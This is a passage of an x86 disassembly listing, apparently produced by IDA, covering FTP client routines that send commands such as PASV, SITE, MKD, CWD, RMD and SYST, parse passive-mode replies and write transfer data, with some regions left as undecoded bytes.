off_42E7CC	dd offset loc_42E648	; DATA XREF: sub_42E5B0+91r
		dd offset loc_42E663	; jump table for switch	statement
		dd offset loc_42E67D
		dd offset loc_42E697
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E870	proc near		; CODE XREF: sub_42E5B0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42EB94
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42E8D2
		cmp	eax, 2
		jz	short loc_42E8D2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E8D2:				; CODE XREF: sub_42E870+3Aj
					; sub_42E870+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42E904
		cmp	eax, 49h
		jz	short loc_42E904
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E904:				; CODE XREF: sub_42E870+6Cj
					; sub_42E870+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42E9E9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42EB94
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		nop
		call	near ptr 77C47660h
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42EB94
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 4684D75h, 90004474h, 808419E8h, 4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: sub_42E870+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_438220
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44752468h, 0E7E89000h, 83778083h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 4BE85700h,	83000098h, 0A75FFF8h, 4473F468h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 9825E8h, 0FFF88300h, 0F4680A75h, 0E9004473h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 4471F4h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44751C68h
		dd 5610EB00h, 9766E857h, 0C0850000h, 1468217Dh,	90004475h
		dd 808335E8h, 4C48377h,	9736E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 3DE85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 4474F868h, 0E8905200h,	77810DEDh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 4CE89056h, 8B777FD5h, 8C483F0h, 2275F53Bh, 4473EC68h
		dd 67E89000h, 83778082h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------


loc_42EB94:				; CODE XREF: sub_42E870+2Bj
					; sub_42E870+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42E870	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h
		dd 75144689h, 73EC682Ch, 0E8900044h, 77808226h,	5704C483h
		dd 9627E8h, 40E85600h, 90777FD6h, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42ED50	proc near		; CODE XREF: sub_42E5B0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42ED92
		mov	ecx, eax


loc_42ED92:				; CODE XREF: sub_42ED50+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_438208
sub_42ED50	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 843CE890h
		dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh
		dd 0E8510CC4h, 9424h, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447584BEh, 0A4A5F300h
		dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
		dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h
		dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah
		dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A7E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EF60	proc near		; CODE XREF: sub_40226Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42EF71
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF71:				; CODE XREF: sub_42EF60+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42EF8D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DF40
		add	esp, 0Ch
		jmp	short loc_42EFB4
; ---------------------------------------------------------------------------


loc_42EF8D:				; CODE XREF: sub_42EF60+17j
		call	sub_42E170
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42EF9F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF9F:				; CODE XREF: sub_42EF60+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------


loc_42EFB4:				; CODE XREF: sub_42EF60+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42EFC0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFC0:				; CODE XREF: sub_42EF60+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42EFFF
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42EFFF
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42EFFF
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EFF8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFF8:				; CODE XREF: sub_42EF60+93j
		mov	dword ptr [esi+40h], 0


loc_42EFFF:				; CODE XREF: sub_42EF60+6Fj
					; sub_42EF60+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42EF60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F040	proc near		; CODE XREF: sub_402216j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42F051
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F051:				; CODE XREF: sub_42F040+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42F06D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42F110
		add	esp, 0Ch
		jmp	short loc_42F08A
; ---------------------------------------------------------------------------


loc_42F06D:				; CODE XREF: sub_42F040+17j
		call	sub_42E170
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------


loc_42F08A:				; CODE XREF: sub_42F040+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42F096
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F096:				; CODE XREF: sub_42F040+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42F0CC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42F0CC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42F0CC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42F0CC:				; CODE XREF: sub_42F040+63j
					; sub_42F040+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42F040	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F110	proc near		; CODE XREF: sub_42F040+23p
					; sub_42F2C0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42F12C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F12C:				; CODE XREF: sub_42F110+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42F254


loc_42F13D:				; CODE XREF: sub_42F110+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42F17E
		cmp	al, 0Dh
		jz	short loc_42F17E
		cmp	esi, 2000h
		jnz	short loc_42F179
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F1E1
		xor	esi, esi


loc_42F179:				; CODE XREF: sub_42F110+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42F17E:				; CODE XREF: sub_42F110+35j
					; sub_42F110+39j
		cmp	esi, 2000h
		jnz	short loc_42F1AC
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F201
		xor	esi, esi


loc_42F1AC:				; CODE XREF: sub_42F110+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42F13D
		test	esi, esi
		jz	loc_42F254
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jnz	short loc_42F221


loc_42F1DA:				; CODE XREF: sub_42F110+4Ej
					; sub_42F110+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F1E1:				; CODE XREF: sub_42F110+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F201:				; CODE XREF: sub_42F110+98j
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F221:				; CODE XREF: sub_42F110+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 7F0083E8h, 108B9077h, 0AC685752h,	90004475h
		dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42F254:				; CODE XREF: sub_42F110+27j
					; sub_42F110+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42F110	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F2C0	proc near		; CODE XREF: sub_401BEFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42F33B
		dec	eax
		jz	short loc_42F2F0
		dec	eax
		jz	short loc_42F2DC


loc_42F2D4:				; CODE XREF: sub_42F2C0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F2DC:				; CODE XREF: sub_42F2C0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42F2F0
		push	esi
		push	0
		push	0
		call	sub_42F110
		add	esp, 0Ch


loc_42F2F0:				; CODE XREF: sub_42F2C0+Fj
					; sub_42F2C0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_511AD0
		test	eax, eax
		jz	short loc_42F304
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42F304:				; CODE XREF: sub_42F2C0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_438292
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42F2D4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F33B:				; CODE XREF: sub_42F2C0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42F352
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BEF
		add	esp, 4


loc_42F352:				; CODE XREF: sub_42F2C0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_4381FC
sub_42F2C0	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 0B9h, 0CEh
		dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F3A0:				; CODE XREF: ___:00401CF8j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F3C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F3C9:				; CODE XREF: ___:0042F3C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F420:				; CODE XREF: ___:004016CCj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F441
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F441:				; CODE XREF: ___:0042F43Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42F45C


loc_42F44F:				; CODE XREF: ___:0042F45Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42F45C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42F44F


loc_42F45C:				; CODE XREF: ___:0042F44Dj
					; ___:0042F453j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F490:				; CODE XREF: ___:00402270j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F4B9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F4B9:				; CODE XREF: ___:0042F4B0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F510:				; CODE XREF: ___:0040227Fj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F539
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F539:				; CODE XREF: ___:0042F530j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F590:				; CODE XREF: ___:0040178Aj
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42E490
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5C0:				; CODE XREF: ___:00402220j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F5E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F5E9:				; CODE XREF: ___:0042F5E0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F640:				; CODE XREF: ___:00401677j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_447670
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F661
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F661:				; CODE XREF: ___:0042F65Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F677
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F677:				; CODE XREF: ___:0042F672j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42F695


loc_42F683:				; CODE XREF: ___:0042F693j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42F695
		cmp	cl, 22h
		jz	short loc_42F695
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42F683


loc_42F695:				; CODE XREF: ___:0042F681j
					; ___:0042F687j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F6C0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6F0	proc near		; CODE XREF: ___:0042F6D3p
					; ___:0042F953p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42F77A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4476B0
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42F72A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42F72A:				; CODE XREF: sub_42F6F0+33j
		cmp	edi, 49h
		jnz	short loc_42F734
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42F734:				; CODE XREF: sub_42F6F0+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42F794
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F77A:				; CODE XREF: sub_42F6F0+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42F78B
		mov	ebx, dword_511A90
		jmp	short loc_42F794
; ---------------------------------------------------------------------------


loc_42F78B:				; CODE XREF: sub_42F6F0+91j
		mov	edx, dword_511A90
		lea	ebx, [edx+20h]


loc_42F794:				; CODE XREF: sub_42F6F0+57j
					; sub_42F6F0+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F73
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42F7B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F7B7:				; CODE XREF: sub_42F6F0+BFj
